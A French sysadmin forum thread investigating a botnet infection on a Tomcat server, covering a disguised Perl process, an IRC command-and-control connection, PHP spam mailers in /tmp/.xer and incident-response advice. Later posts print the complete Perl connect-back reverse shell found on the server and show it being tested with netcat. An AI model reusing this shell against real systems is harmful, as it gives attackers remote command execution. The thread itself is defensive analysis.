Processus suspect - Botnet ?

Version imprimable

Bonjour à tous,

Un processus suspect tourne sur un de mes serveurs web, ci-dessous la sortie de la commande ps:

Code:

tomcat 7538 0.0 0.0 128428 3692 ? S Nov27 0:06 /usr/sbin/apache2 -k start

Cet exécutable n'existe pas:

Code:

1
2
ll /usr/sbin/apache2
ls: cannot access /usr/sbin/apache2: No such file or directory

On peut voir que c'est un processus PERL:

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
lsof -w -n -p 7538
 
COMMAND  PID   USER   FD   TYPE     DEVICE SIZE/OFF       NODE NAME
perl    7538 tomcat  cwd    DIR      253,3   442368          2 /tmp
perl    7538 tomcat  rtd    DIR      253,1     4096          2 /
perl    7538 tomcat  txt    REG      253,1    13296    1050374 /usr/bin/perl
perl    7538 tomcat  mem    REG      253,1   161704     784316 /lib64/ld-2.12.so
perl    7538 tomcat  mem    REG      253,1  1930416     784748 /lib64/libc-2.12.so
perl    7538 tomcat  mem    REG      253,1   146592     784774 /lib64/libpthread-2.12.so
perl    7538 tomcat  mem    REG      253,1    23088     784827 /lib64/libdl-2.12.so
perl    7538 tomcat  mem    REG      253,1   600048     784828 /lib64/libm-2.12.so
perl    7538 tomcat  mem    REG      253,1   116904     783510 /lib64/libnsl-2.12.so
perl    7538 tomcat  mem    REG      253,1   114496     784839 /lib64/libresolv-2.12.so
perl    7538 tomcat  mem    REG      253,1    18056     783609 /lib64/libutil-2.12.so
perl    7538 tomcat  mem    REG      253,1    12776     784846 /lib64/libfreebl3.so
perl    7538 tomcat  mem    REG      253,1    43928     784848 /lib64/libcrypt-2.12.so
perl    7538 tomcat  mem    REG      253,1  1488544    1176049 /usr/lib64/perl5/CORE/libperl.so
perl    7538 tomcat  mem    REG      253,1    25624       1927 /usr/lib64/perl5/auto/Socket/Socket.so
perl    7538 tomcat  mem    REG      253,1    19336       1727 /usr/lib64/perl5/auto/IO/IO.so
perl    7538 tomcat  mem    REG      253,1 99164480    1061313 /usr/lib/locale/locale-archive
perl    7538 tomcat    0r  FIFO        0,8      0t0 2736075360 pipe
perl    7538 tomcat    1w  FIFO        0,8      0t0 2736075361 pipe
perl    7538 tomcat    2w  FIFO        0,8      0t0 2736075362 pipe
perl    7538 tomcat    3u  IPv4 2781849399      0t0        TCP xxx:60398->119.68.205.1:smtp (SYN_SENT)

Cela m'était déjà arrivé la semaine dernière, j'avais donc bloqué l'IP en entrée/sortie (ce qui explique le SYN_SENT).

Comment trouver ce qui lance ce processus, étant donné que l'IP est bloquée...

Merci à tous !

05/12/2016, 15h50
BufferBob

salut,

tu l'as justement fait remarquer, le processus n'est pas ce qu'il prétend être, à partir de là il est clairement suspect, dire si c'est un botnet... probable mais ça reste malgré tout une info secondaire

ce qu'on remarque surtout c'est qu'il semble se cantonner au user tomcat, ce qui peut donner une indication sur l'origine de l'intrusion et permet également de restreindre les recherches avec un find / -user tomcat -o -group tomcat, l'output de lsof semble dire que ça se situerait du coté de /tmp...

dans tous les cas le propos pour le malware était de trouver un répertoire dans lequel il pouvait écrire par défaut, ils ne sont pas légion sous linux, on a grossomodo /tmp, /var/tmp et /dev/shm si je me souviens bien (à vérifier), pour en avoir le coeur net là encore un coup de find qui va bien...
06/12/2016, 09h52
slyz0r

J'avais déjà lancé quelques find mais je n'ai rien trouvé de bizarre.

Par contre, la question que je me pose, c'est comment cette commande peut être lancée alors que j'ai bloqué l'IP en entrée/sortie...

Serait-il possible de trouver le script utilisé ?
06/12/2016, 13h49
BufferBob

Citation:

Envoyé par slyz0r

J'avais déjà lancé quelques find mais je n'ai rien trouvé de bizarre.

si tu n'as pas d'apache sur la machine et que c'est pas un collègue qui te fait une blague avec un script perl il y a obligatoirement des choses bizarres à trouver.

Citation:

Par contre, la question que je me pose, c'est comment cette commande peut être lancée alors que j'ai bloqué l'IP en entrée/sortie...

l'IP ? quelle IP ? l'IP du script ? l'IP de Perl ? l'IP d'apache ? l'IP de la voisine peut-être ?
si la commande peut être lancée c'est très probablement parcequ'il y a une vulnérabilité sur ta machine, on serait même tenté de préciser du coté de tomcat (interface d'administration trop ouverte par exemple ?), à partir de là on peut exploiter la faille depuis n'importe quelle adresse IP, et si en plus on parle de botnet on imagine facilement que des IP il y en a un certain nombre...

Citation:

Serait-il possible de trouver le script utilisé ?

oui, à coup de find, si le script tournait en user tomcat et dans /tmp il devrait être rapide à retrouver, dans le cas contraire peut-être qu'il ruse, en effaçant le fichier contenant son code source alors qu'il s'exécute par exemple, du coup son code n'est plus disponible qu'en mémoire, il doit alors toujours être possible d'aller fouiller /proc/<pid>/ à la recherche du dump mémoire ou au pire d'accrocher gdb sur le processus et extraire méthodiquement le code source (script perl == fichier texte, ça se repère vite en mémoire)
06/12/2016, 15h11
slyz0r

Citation:

Envoyé par BufferBob

si tu n'as pas d'apache sur la machine et que c'est pas un collègue qui te fait une blague avec un script perl il y a obligatoirement des choses bizarres à trouver.

J'ai un Apache en mode reverse proxy vers un JBoss. Aucune interface de gestion n'est activée, nous utilisons uniquement la ligne de commande.

Citation:

Envoyé par BufferBob

l'IP ? quelle IP ? l'IP du script ? l'IP de Perl ? l'IP d'apache ? l'IP de la voisine peut-être ?

Celle de la voisine, je n'espère pas ^^. Par contre, celle indiquée dans mon premier post, surement ;) :

Il s'agit de la dernière ligne de la sortie de ma commande lsof:

perl 7538 tomcat 3u IPv4 2781849399 0t0 TCP xxx:60398->119.68.205.1:smtp (SYN_SENT)

J'ai intentionnellement remplacé mon IP publique par "xxx". Nous pouvons voir grâce à cette ligne que mon serveur se connecte sur une IP Coréenne sur le port 25 (généralement le comportement d'un botnet). Etant donné que cela m'était déjà arrivé, j'avais bloqué cette IP en entre/sortie, ce qui explique que la connexion soit en SYN_SENT et qu'elle ne bouge plus. Par acquis de conscience j'ai lancé un tcpdump et évidemment aucun paquet ne passe.

Il doit donc y avoir un script qui se lance d'une manière ou d'une autre afin que mon serveur se connecte à cette IP sur le port 25. Ce que j'aimerais, c'est le trouver...

Citation:

Envoyé par BufferBob

soui, à coup de find, si le script tournait en user tomcat et dans /tmp il devrait être rapide à retrouver, dans le cas contraire peut-être qu'il ruse, en effaçant le fichier contenant son code source alors qu'il s'exécute par exemple, du coup son code n'est plus disponible qu'en mémoire, il doit alors toujours être possible d'aller fouiller /proc/<pid>/ à la recherche du dump mémoire ou au pire d'accrocher gdb sur le processus et extraire méthodiquement le code source (script perl == fichier texte, ça se repère vite en mémoire)

Malheureusement, le /tmp est rempli de fichiers appartenant à Tomcat et étant légitimes. Je n'en vois aucun autre (tous ces fichiers ont la même convention de nommage, je retrouverai donc très vite un intrus).

Je vais essayer de voir pour la 2ème solution ^^

Merci quand même !

Sur un autre de mes serveurs, j'ai eu exactement le même problème.

Processus semblable connecté vers la même ip sur le port 25. J'ai eu le réflexe de faire un tcpdump avant de le killer, il utilisait Postfix afin de délivrer du spam.

Sur ce serveur, j'ai bien un dossier appartenant à Tomcat sous /tmp:

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ll .xer/
total 944
-rwxrwxrwx 1 tomcat tomcat 126575 Apr 23  2015 class.phpmailer.php
-rwxrwxrwx 1 tomcat tomcat  11201 Apr 17  2015 class.pop3.php
-rwxrwxrwx 1 tomcat tomcat  39901 Apr 17  2015 class.smtp.php
-rwxrwxrwx 1 tomcat tomcat   5082 Dec  7 12:30 contents.html
-rw-r--r-- 1 tomcat tomcat 749597 Dec  7 12:32 data.txt
drwxrwxrwx 2 tomcat tomcat   4096 Nov 23 19:07 extras
-rwxrwxrwx 1 tomcat tomcat      0 Nov 29 10:02 index.html
drwxrwxrwx 2 tomcat tomcat   4096 Dec  7 16:06 language
-rwxrwxrwx 1 tomcat tomcat   3979 May 19  2015 main
-rwxrwxrwx 1 tomcat tomcat   4001 Apr 23  2015 main.php
-rw-r--r-- 1 tomcat tomcat      0 Dec  7 14:36 oiz
-rwxrwxrwx 1 tomcat tomcat   1738 Apr 17  2015 PHPMailerAutoload.php
-rwxrwxrwx 1 tomcat tomcat   3085 Dec  7 13:50 sender_conf.php

Comment puis-je faire pour détecter via quelle application il s'est connecté ? J'en ai plusieurs qui tournent sous Tomcat.

07/12/2016, 17h09
Jipété

Bonsoir,

Mon grain de sel, car je suis loin d'avoir les compétences de BB, mais le sujet m'intéresse.

Citation:

Envoyé par slyz0r

Sur un autre de mes serveurs, j'ai eu exactement le même problème.

Processus semblable connecté vers la même ip sur le port 25. J'ai eu le réflexe de faire un tcpdump avant de le killer, il utilisait Postfix afin de délivrer du spam.
Comment puis-je faire pour détecter via quelle application il s'est connecté ? J'en ai plusieurs qui tournent sous Tomcat.

Pourquoi ne pas chercher dans le dossier en question les fichiers qui contiendraient la string représentant l'IP, et si ça ne donne rien, rechercher la string "Postfix" ?

Mais bon, tu l'as peut-être déjà fait, et les scripts sont peut-être cryptés, on va attendre de lire ce qu'en pense BB...
07/12/2016, 17h38
slyz0r

Les scripts sont assez simples et disponibles sous Github, cela semble de "simples" PHP mailers. De ce que je comprends, ce sont les scripts utilisés APRES la prise en main de mon système afin d'envoyer le spam.

Moi ce que je souhaite savoir, c'est comment il est entré et comment l'en empêcher dans le futur.

Je suis en train d'analyser les paquets capturés avec mon tcpdump, voici ce que je peux voir dans les trames SMTP depuis mon IP vers l'IP Coréenne:

Citation:

:ESMTP.Exim.com NOTICE AUTH :*** Looking up your hostname...
Response: :ESMTP.Exim.com NOTICE AUTH :*** Found your hostname (cached)\r\n

Ensuite les ACK

Citation:

Command Line: USER tomcat ICI.MON.IP 119.68.205.1 :Linux 2.6.32-504.23.4.el6.x86_64\n
Command: USER
Request parameter: tomcat ICI.MON.IP 119.68.205.1 :Linux 2.6.32-504.23.4.el6.x86_64

Response: PING :CE712BC5\r\n

Command Line: PONG :CE712BC5\n
Command: PONG
Request parameter: :CE712BC5

Ensuite un ACK

Citation:

Response: ERROR :Closing Link: jboss95[ICI.MON.HOSTNAME] (Too many connections from your IP)\r\n

Dans d'autres trames SMTP:

Citation:

Response: ERROR :Closing Link: [MON.IP] (Throttled: Reconnecting too fast) -Email kline@Fuck-The.Gov for more information.\r\n

Citation:
Envoyé par slyz0r
Sur ce serveur, j'ai bien un dossier appartenant à Tomcat sous /tmp:
Code:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ll .xer/ total 944 -rwxrwxrwx 1 tomcat tomcat 126575 Apr 23 2015 class.phpmailer.php -rwxrwxrwx 1 tomcat tomcat 11201 Apr 17 2015 class.pop3.php -rwxrwxrwx 1 tomcat tomcat 39901 Apr 17 2015 class.smtp.php -rwxrwxrwx 1 tomcat tomcat 5082 Dec 7 12:30 contents.html -rw-r--r-- 1 tomcat tomcat 749597 Dec 7 12:32 data.txt drwxrwxrwx 2 tomcat tomcat 4096 Nov 23 19:07 extras -rwxrwxrwx 1 tomcat tomcat 0 Nov 29 10:02 index.html drwxrwxrwx 2 tomcat tomcat 4096 Dec 7 16:06 language -rwxrwxrwx 1 tomcat tomcat 3979 May 19 2015 main -rwxrwxrwx 1 tomcat tomcat 4001 Apr 23 2015 main.php -rw-r--r-- 1 tomcat tomcat 0 Dec 7 14:36 oiz -rwxrwxrwx 1 tomcat tomcat 1738 Apr 17 2015 PHPMailerAutoload.php -rwxrwxrwx 1 tomcat tomcat 3085 Dec 7 13:50 sender_conf.php
t'as un répertoire /tmp/.xer/ avec dedans du code pour envoyer des mails, ça te choque pas plus que ça ?
il a l'air intéressant ce répertoire .xer/, je pense que je vérifierai le contenu de son code et s'il est légitime

Citation:

Comment puis-je faire pour détecter via quelle application il s'est connecté ? J'en ai plusieurs qui tournent sous Tomcat.

c'est ça qui est beau avec tomcat, je crois pas que tu puisses :lol: (à vérifier quand même)

Citation:

Envoyé par Jipété

Pourquoi ne pas chercher dans le dossier en question les fichiers qui contiendraient la string représentant l'IP, et si ça ne donne rien, rechercher la string "Postfix" ? Mais bon (...) les scripts sont peut-être cryptés

yep c'est pas idiot, "Postfix" donnera sans doute rien mais essayer de chercher des chaines discriminantes, comme l'IP ou le fqdn du serveur d'en face, ou des mots clés de la transaction mail comme "PASS" ou "HELO" etc. pourquoi pas, ça peut rentabiliser

Citation:

Envoyé par Jipété

on va attendre de lire ce qu'en pense BB...

oh ben BB il en pense qu'il a le nez pris et le cerveau avec, qu'en tout état de cause c'est très difficile d'aider sans être devant la machine dans ces cas là, et que donc il va possiblement passer son tour ^^

07/12/2016, 17h51
BufferBob

Citation:

Envoyé par slyz0r

:ESMTP.Exim.com NOTICE AUTH :*** Looking up your hostname...
Response: :ESMTP.Exim.com NOTICE AUTH :*** Found your hostname (cached)\r\n
Command Line: USER tomcat ICI.MON.IP 119.68.205.1 :Linux 2.6.32-504.23.4.el6.x86_64\n
Command: USER
Request parameter: tomcat ICI.MON.IP 119.68.205.1 :Linux 2.6.32-504.23.4.el6.x86_64
Response: PING :CE712BC5\r\n
Command Line: PONG :CE712BC5\n
Command: PONG
Request parameter: :CE712BC5
Response: ERROR :Closing Link: jboss95[ICI.MON.HOSTNAME] (Too many connections from your IP)\r\n
Response: ERROR :Closing Link: [MON.IP] (Throttled: Reconnecting too fast) -Email kline@Fuck-The.Gov for more information.\r\n

c'est pas du smtp, c'est de l'IRC ça, donc ça confirme tes soupçons sur le fait qu'il s'agit d'un botnet, il se connecte à son serveur irc pour y attendre ses directives
07/12/2016, 18h03
slyz0r

Citation:

Envoyé par BufferBob

t'as un répertoire /tmp/.xer/ avec dedans du code pour envoyer des mails, ça te choque pas plus que ça ?

Bha si, c'est pour ça que j'en parle. Après, comme j'ai dit dans le post suivant, c'est un simple mailerPHP qui est utilisé pour délivrer le spam et activé via une commande IRC... En tout cas, c'est ce que j'en déduis.

Citation:

Envoyé par BufferBob

il a l'air intéressant ce répertoire .xer/, je pense que je vérifierai le contenu de son code et s'il est légitime

Mais évidemment qu'il n'est pas légitime lol.

Le plus intéressant ici n'est pas de savoir comment il envoie des mails, mais plutôt comment il est arrivé là et comment faire pour ne plus que cela arrive :/

Citation:

Envoyé par BufferBob

c'est ça qui est beau avec tomcat, je crois pas que tu puisses :lol: (à vérifier quand même)

Et donc quel est le moyen de sortir de ce bourbier ?
07/12/2016, 18h15
Jipété

Citation:

Envoyé par slyz0r

Le plus intéressant ici n'est pas de savoir comment il envoie des mails, mais plutôt comment il est arrivé là et comment faire pour ne plus que cela arrive :/

Je passe.
Quand j'ai un clou dans un pneu, ça ne sert à rien de se demander comment on a pu choper ce truc, il est plus utile de savoir oû est le cric et comment s'en servir :P

Citation:

Envoyé par slyz0r

Et donc quel est le moyen de sortir de ce bourbier ?

Chercher dans les scripts du côté de /etc la string "xer" ? (en espérant que c'est toujours celle-ci qui apparaît dans /tmp, sinon ça va être tendu).
Bon, je sais pas comment tu cherches, moi je vais dans le dossier puis grep -ri "la_string" *.
Ça vaut ce que ça vaut, mais je trouve ce qui m'intéresse, en général.

Citation:

Envoyé par BufferBob

oh ben BB il en pense qu'il a le nez pris et le cerveau avec, qu'en tout état de cause c'est très difficile d'aider sans être devant la machine dans ces cas là, et que donc il va possiblement passer son tour ^^

Tisane de thym (même le Ducros ça marche, pas besoin de courir chez l'herboriste) bien chargée, miel si c'est trop fort (ou qu'on n'est pas habitué), s'en faire au moins deux ce soir (une après avoir lu ça, l'autre en milieu de soirée) et plein de miel entre les deux tisanes (bien infusées, bien fortes, j'insiste).
Et demain tu recommences, dès le matin.
07/12/2016, 18h45
BufferBob

Citation:

Envoyé par slyz0r

Mais évidemment qu'il n'est pas légitime lol.
Le plus intéressant ici n'est pas de savoir comment il envoie des mails, mais plutôt comment il est arrivé là et comment faire pour ne plus que cela arrive :/

du coup, tu colles le contenu du répertoire en question dans le but de trouver comment il est arrivé là, c'est ça, lol ?

comme je te disais plus haut dans la discussion on peut raisonnablement envisager qu'il s'agit d'un malware uniquement en userland et qu'il n'a pas acquis d'autres privilèges que ceux du compte utilisateur tomcat, l'idée naturelle ce serait d'aller consulter les logs s'il y en a, à la recherche de lignes caractéristiques d'une intrusion ou au moins suspectes; un client légitime avec son navigateur laisse une empreinte particulière là où un bot va par exemple se contenter d'1 seule requête
ce lien également pourra possiblement t'aider à trouver l'origine du mal
quant à patcher pour que ça n'arrive plus, ça dépend évidement de comment c'est arrivé
07/12/2016, 21h09
slyz0r

Citation:

Envoyé par Jipété

Je passe.
Quand j'ai un clou dans un pneu, ça ne sert à rien de se demander comment on a pu choper ce truc, il est plus utile de savoir oû est le cric et comment s'en servir :P

lol, c'est pas faux :)

Je pense que le cric, c'était la règle iptables que j'ai ajouté qui bloque l'IP Coréenne en entrée/sortie, ce qui a permis de bloquer le spam sur le premier serveur. Néanmoins, le script perl est toujours exécuté de façon aléatoire dans le temps, bien que comme expliqué dans le post initial, la connexion reste en "SYN_SENT" et non "Established".

(Pour rappel, un premier serveur a été contaminé il y a plusieurs semaines, j'ai directement bloqué l'IP sans faire de tcpdump et sans analyse approfondie. Quelques jours après, le script a été relancé mais la connexion ne s'est pas établie. "Par chance", un second serveur a été contaminé et c'est là que j'ai pu faire les tcpdump et une analyse un peu plus approfondie)

Donc, ce que je me demande, et je le répète:

1. Comment ce script PERL est arrivé
2. Où est-il
3. Comment patcher le serveur d'application

Je n'attendais pas une réponse précise mais plutôt de l'aide dans la réflexion, ce que vous faites à merveille tous les 2 et je vous en remercie.

Citation:

Envoyé par BufferBob

du coup, tu colles le contenu du répertoire en question dans le but de trouver comment il est arrivé là, c'est ça, lol ?

Lol, tu aimes me charier :P ! Tu as raison, j'ai mis cela dans le but d'ajouter mes trouvailles, et ajouter une pièce du puzzle. Même si ce script n'est en fait utilisé que pour déclencher le spam, ce qui n'est pas réellement intéressant pour résoudre le problème.

Citation:

Envoyé par BufferBob

comme je te disais plus haut dans la discussion on peut raisonnablement envisager qu'il s'agit d'un malware uniquement en userland et qu'il n'a pas acquis d'autres privilèges que ceux du compte utilisateur tomcat, l'idée naturelle ce serait d'aller consulter les logs s'il y en a, à la recherche de lignes caractéristiques d'une intrusion ou au moins suspectes; un client légitime avec son navigateur laisse une empreinte particulière là où un bot va par exemple se contenter d'1 seule requête
ce lien également pourra possiblement t'aider à trouver l'origine du mal
quant à patcher pour que ça n'arrive plus, ça dépend évidement de comment c'est arrivé

Merci de tous ces éléments.

J'ai lancé un grep récursif sur la racine en tant que tomcat en recherchant l'IP du serveur IRC Coréen, on verra.

En cherchant sur le net, j'ai trouvé ce script: https://gist.github.com/tlongren/afe81698cafaafcbe386

Vu les commandes qu'il affiche dans la liste des processus (my @rps), ça ressemble très fort à ce que je dois avoir quelque part sur mon serveur...
07/12/2016, 23h36
Jipété

Citation:

Envoyé par slyz0r

Néanmoins, le script perl est toujours exécuté de façon aléatoire dans le temps

Un truc me fait trembler, là : faudrait pas que ton script Perl soit lancé par un autre script ou binaire se fermant après lancement, ou pire, obéissant comme un gentil bot à un méchant C&C planqué à 10 000 bornes et coupant ensuite la connexion...

Je suppose que tu ne peux rien rebooter facilement ?

C'est bien ce que je crains également...

J'ai trouvé le script perl:
Code:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #!/usr/bin/perl use IO::Socket; $system = '/bin/sh'; $ARGC=@ARGV; if ($ARGC!=2) { print "Usage: $0 [Host] [Port] \n\n"; } use Socket; use FileHandle; socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n"; connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; print "[*] Resolving HostName\n"; print "[*] Connecting... $ARGV[0] \n"; print "[*] Spawning Shell \n"; print "[*] Connected to remote host \n"; SOCKET->autoflush(); open(STDIN, ">&SOCKET"); open(STDOUT,">&SOCKET"); open(STDERR,">&SOCKET"); system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo; echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- "); system($system);
Il était nommé "dc" et était non exécutable... Je l'ai testé vers un serveur à moi et effectivement, il envoi bien les informations demandées vers le host/port indiqué en paramètre. Le processus se coupe de suite après. J'imagine que si le serveur sur lequel il se connecte est le C&C IRC, la connexion s'établi et le script php est lancé pour déclencher l'envoi de spam.

C'est bien, j'ai avancé. Reste à trouver la faille, ce qui risque d'être plus chaud :/

Comme je le disais, sur le premier serveur, le script perl a été relancé quelques jours après que j'aie blacklisté l'IP... Je me demande bien comment :/

nc -vv -l 2121

Code:

1
2
3
4
5
6
7
8
9
10
11
12
 
Connection from 127.0.0.1 port 2121 [tcp/scientia-ssdb] accepted
--==Systeminfo==--
Linux host.domain.lan 2.6.32-504.23.4.el6.x86_64 #1 SMP Fri May 29 10:16:43 EDT 2015 x86_64 x86_64 x86_64 GNU/Linux
 
--==Userinfo==--
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),116(sshlogin)
 
--==Directory==--
/tmp
 
--==Shell==--

./test.pl 127.0.0.1 2121

Code:

[*] Resolving HostName [*] Connecting... 127.0.0.1 [*] Spawning Shell [*] Connected to remote host

Citation:
Envoyé par slyz0r
Code:

1 2 3 4 5 connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; open(STDIN, ">&SOCKET"); open(STDOUT,">&SOCKET"); open(STDERR,">&SOCKET"); system($system);
c'est un simple shell dit "connect-back", il établit la connexion avec une machine distante et redirige les entrées/sorties vers la socket avant de lancer un shell (ici /bin/sh)
quand le shell se termine (logout/exit) le script aussi

Citation:

Envoyé par slyz0r

nc -vv -l 2121

je ne saurai que trop t'encourager à éviter ce genre de manip hasardeuse, dans la mesure où justement tu ne sais pas ce que fait le script, et en plus tu l'as exec en root apparemment, ce qui est pire que le contexte de départ (puisqu'il s'exécute en tomcat)

Citation:

C'est bien, j'ai avancé. Reste à trouver la faille, ce qui risque d'être plus chaud :/

pas plus pas mieux que ce que j'ai pu te dire plus haut, à ça près que tu as le script, tu as donc - peut-être ? - encore l'horodatage du fichier, ce qui te permettrait d'affiner une recherche dans les logs

Citation:

Comme je le disais, sur le premier serveur, le script perl a été relancé quelques jours après que j'aie blacklisté l'IP... Je me demande bien comment :/

en ré-exploitant la faille peut-être ? :roll:

08/12/2016, 15h55
slyz0r

Citation:

Envoyé par BufferBob

je ne saurai que trop t'encourager à éviter ce genre de manip hasardeuse, dans la mesure où justement tu ne sais pas ce que fait le script, et en plus tu l'as exec en root apparemment, ce qui est pire que le contexte de départ (puisqu'il s'exécute en tomcat)

J'ai exécuté le script en local (127.0.0.1) et le port utilisé (2121) n'est pas ouvert pour l'extérieur via iptables... J'avais lu le script et j'avais bien compris ce qu'il faisait, hormis le lancement du shell, ce que j'ai remarqué en testant... Il y avait peu de risque, surtout qu'il s'agit d'un serveur de test.

J'ai tout nettoyé, mis à jour ce que je pouvais et je l'ai redémarré.

Citation:

Envoyé par BufferBob

pas plus pas mieux que ce que j'ai pu te dire plus haut, à ça près que tu as le script, tu as donc - peut-être ? - encore l'horodatage du fichier, ce qui te permettrait d'affiner une recherche dans les logs

Il était horodaté en 2011...

Citation:

Envoyé par BufferBob

en ré-exploitant la faille peut-être ? :roll:

Bien vu ;) !! Sauf que comme je l'ai dit plusieurs fois, l'IP a été blacklistée en entrée/sortie.

Ce qui a d'ailleurs été utile, étant donné que la connexion est restée en SYN_SENT. Il doit utiliser une autre IP pour exploiter la faille, mais ça me parait chelou.

Bref, merci de tes remarques, qui l'air de rien m'ont fait avancer. Par contre, tu pourrais être moins médisant à l'avenir, ce serait pas plus mal.
08/12/2016, 16h14
BufferBob

Citation:

Envoyé par slyz0r

Il était horodaté en 2011...

arf, dommage...

Citation:

(...) comme je l'ai dit plusieurs fois, l'IP a été blacklistée en entrée/sortie.

sauf que tu confonds deux choses à mon avis, ce que tu as bloqué c'est l'IP du C&C, pas l'IP qui t'a infecté (et donc qui a exploité la faille), par nature comme il s'agit d'un botnet les IP susceptibles d'exploiter la faille sont nombreuses

Citation:

Par contre, tu pourrais être moins médisant à l'avenir, ce serait pas plus mal.

médisant ? qu'ai-je donc dit que tu as mal pris ?
08/12/2016, 16h25
slyz0r

Citation:

Envoyé par BufferBob

arf, dommage...

sauf que tu confonds deux choses à mon avis, ce que tu as bloqué c'est l'IP du C&C, pas l'IP qui t'a infecté (et donc qui a exploité la faille), par nature comme il s'agit d'un botnet les IP susceptibles d'exploiter la faille sont nombreuses

Ha là, tu viens de me faire comprendre un point supplémentaire. Dans ma vision du scénario, c'était bien le C&C qui infectait les différents serveurs et exploitait ensuite la backdoor.

Pour être honnête je connais très mal le monde des botnets. Je commence seulement à lire des articles sur le sujet ;)

Citation:

Envoyé par BufferBob

Médisant ? qu'ai-je donc dit que tu as mal pris ?

Mhmm, je trouve que tu es parfois un peu rabaissant dans tes réponses... Je prends comme exemple celle au sujet de la ré-exploitation de la faille ;)

Je suis, sans doute, un peu trop susceptible :)
08/12/2016, 17h07
Jipété

Citation:

Envoyé par slyz0r

Je suis, sans doute, un peu trop susceptible :)

Et BB est très taquin !
, ...

Ça va mieux ton rhume, BB ?
08/12/2016, 18h18
BufferBob

Citation:

Envoyé par Jipété

Et BB est très taquin !

oui voilà, disons ça... ça me conforte surtout dans l'idée que chacun sa merde :mouarf: aider les autres for free tout ça c'est très bien mais trop peu gratifiant, je laisse ça à d'autres qui le feront bien mieux que moi ou facture à l'appui, j'suis trop vieux pour ces conneries

Citation:

Ça va mieux ton rhume, BB ?

J'ai la rate qui s'dilate, j'ai le foie qu'est pas droit, j'ai le ventre qui se rentre, j'ai l'pylore qui s'colore... :lefou:
08/12/2016, 19h59
Jipété

Citation:

Envoyé par BufferBob

oui voilà, disons ça... ça me conforte surtout dans l'idée que chacun sa merde :mouarf: aider les autres for free tout ça c'est très bien mais trop peu gratifiant, je laisse ça à d'autres qui le feront bien mieux que moi ou facture à l'appui, j'suis trop vieux pour ces conneries

Ah, ça dépend du contexte...
HS : ce matin on sonne c'est le voisin, l'air un peu désespéré il me lance "tu t'y connais en connexion à la box, toi ?"
Bon, c'est pas ma tasse de thé mais je sais deux-trois trucs alors je vais voir.
Il me raconte qu'il a passé la journée d'hier (ouais ! Toute la journée avec la hotline de son FAI !) au tél pour keud, ce matin la machine n'est toujours pas connectée, suite à je sais plus quoi on s'en fout.
Je regarde la bête, je lance une boîte Dos, ipconfig me renvoie l'adresse en 169.etc., je lui demande comment il se connecte il me répond "wifi" ohlala ça pue, ça, t'as pas un câble ?
Il me le sort on le branche je reboote et valà, je suis devenu le dieu de l'informatique dans le secteur, ça fait plaize, :ptdr:
08/12/2016, 20h40
slyz0r

Citation:

Envoyé par BufferBob

oui voilà, disons ça... ça me conforte surtout dans l'idée que chacun sa merde :mouarf: aider les autres for free tout ça c'est très bien mais trop peu gratifiant, je laisse ça à d'autres qui le feront bien mieux que moi ou facture à l'appui, j'suis trop vieux pour ces conneries

Haaaaaaaaaaa mais non ! Ce n'était pas ce que je cherchais :o) ! Surtout que je t'ai remercié plusieurs fois, en précisant que tu m'aidais beaucoup. Je trouverais cela gratifiant à ta place :D

Blague à part, toute cette histoire me rend tendu, sans compter ma susceptibilité :aie:

Par contre, en y réfléchissant, en plus de la faille, il me reste encore quelque chose à élucider lol. Au départ, dans la sortie de la commande ps, il n'affiche pas la commande perl mais un autre processus. Dans ce cas-ci, apache2...

Il y a donc un autre script qui vient dissimuler cette backdoor...

J'ai ajouté des checks via mon outil de monitoring, installé atop et configuré des utilisateurs particuliers pour chaque serveur d'application. Je serai alerté et j'aurai plus d'info si il se reconnecte.

Bref, suite au prochain épisode !

Encore merci à tous les 2.

Soigne bien ton rhume & bonne soirée :)

Fuseau horaire GMT +2. Il est actuellement 06h31.